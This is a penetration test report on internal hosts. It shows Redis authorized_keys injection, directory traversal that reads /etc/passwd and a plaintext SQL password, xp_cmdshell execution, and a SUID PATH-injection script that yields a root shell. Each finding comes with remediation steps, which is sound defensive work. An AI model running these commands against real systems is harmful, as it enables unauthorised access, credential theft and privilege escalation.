Penetration Test Report

The Redis instance requires no authentication and is bound to all interfaces. The CONFIG command is unrestricted, allowing arbitrary filesystem writes — including SSH authorized_keys injection.

Evidence

$ redis-cli -h 192.168.1.101 ping
PONG
$ redis-cli -h 192.168.1.101 CONFIG GET requirepass
1) "requirepass"
2) ""
$ redis-cli -h 192.168.1.101 CONFIG SET dir /var/lib/redis/.ssh
OK
$ redis-cli -h 192.168.1.101 CONFIG SET dbfilename authorized_keys
OK
$ ssh -i pentest_key redis@192.168.1.101 id
uid=110(redis) gid=115(redis) groups=115(redis)

Remediation

• Immediately: Set requirepass to a strong password in redis.conf
• Bind to 127.0.0.1 only
• Rename dangerous commands: rename-command CONFIG ""
• Enable TLS and implement firewall rules

The Backup Migration plugin v1.3.7 allows unauthenticated PHP code injection. An attacker can execute arbitrary code on the server without any credentials.

Evidence

$ wpscan --url http://192.168.1.101 --enumerate ap
[+] backup-migration
 | Version: 1.3.7
 | [!] Title: Backup Migration <= 1.3.7 - Unauthenticated Remote Code Execution
 | Fixed in: 1.3.8
 | References:
 |  - https://nvd.nist.gov/vuln/detail/CVE-2023-6553

Remediation

• Immediately: Update to v1.4.4+
• Remove the plugin if backup is not needed
• Implement WAF and regular plugin auditing

The Express API file endpoint does not sanitize path parameters. Directory traversal sequences read arbitrary files, including credentials that enabled lateral movement to the Windows server.

Evidence

$ curl -s --path-as-is http://192.168.1.101:8080/api/v1/files/../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
...

$ curl -s --path-as-is http://192.168.1.101:8080/api/v1/files/../../../../opt/app/config.json
{"mssql_mirror":{"host":"192.168.1.102","user":"sa","password":"SQLServer2024!"}}

Remediation

• Immediately: Use path.basename() or validate resolved path stays within base directory
• Move credentials out of the filesystem; use environment variables or a secrets manager
• Run the API as a low-privilege user

The MSSQL SA account uses a predictable password found in plaintext configuration. SA has sysadmin privileges enabling OS command execution via xp_cmdshell.

Evidence

$ impacket-mssqlclient sa:'SQLServer2024!'@192.168.1.102
SQL> SELECT IS_SRVROLEMEMBER('sysadmin')
          1
SQL> EXEC xp_cmdshell 'whoami'
nt service\mssqlserver

Remediation

• Change SA password to a strong unique password (20+ characters)
• Consider disabling SA; use Windows Authentication
• Remove plaintext credentials from config.json
• Disable xp_cmdshell and restrict network access to MSSQL

A custom SUID root binary calls system("tar ...") without an absolute path, enabling PATH injection to execute arbitrary commands as root.

Evidence

$ strings /usr/local/bin/backup_tool | grep tar
tar -czf /tmp/backup.tar.gz %s
$ echo '#!/bin/bash
cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /tmp/tar
$ chmod +x /tmp/tar && PATH=/tmp:$PATH /usr/local/bin/backup_tool /etc/hosts
$ /tmp/rootbash -p -c "id"
uid=110(redis) gid=115(redis) euid=0(root) egid=0(root)

Remediation

• Use absolute paths (/usr/bin/tar) in the binary
• Replace system() with execve()
• Remove SUID bit if root privileges are not required

SMB signing is not required, enabling NTLM relay attacks.

Evidence

$ nxc smb 192.168.1.102
SMB  192.168.1.102  445  DBSRV01  [*] (signing:False)

Remediation

• Enable and require SMB signing via Group Policy on all domain members

CORPNET\sqlsvc uses the same password as MSSQL SA. WinRM access with local admin privileges.

Evidence

$ nxc winrm 192.168.1.102 -u 'sqlsvc' -p 'SQLServer2024!'
WINRM  192.168.1.102  5985  DBSRV01  [+] CORPNET\sqlsvc:SQLServer2024! (Pwn3d!)

Remediation

• Use unique passwords for each service account
• Implement PAM; remove sqlsvc from local Administrators

The WordPress admin account uses admin123, cracked within the top 10,000 common passwords via XML-RPC brute-force.

Remediation

• Enforce strong passwords (12+ chars), disable XML-RPC, add account lockout and 2FA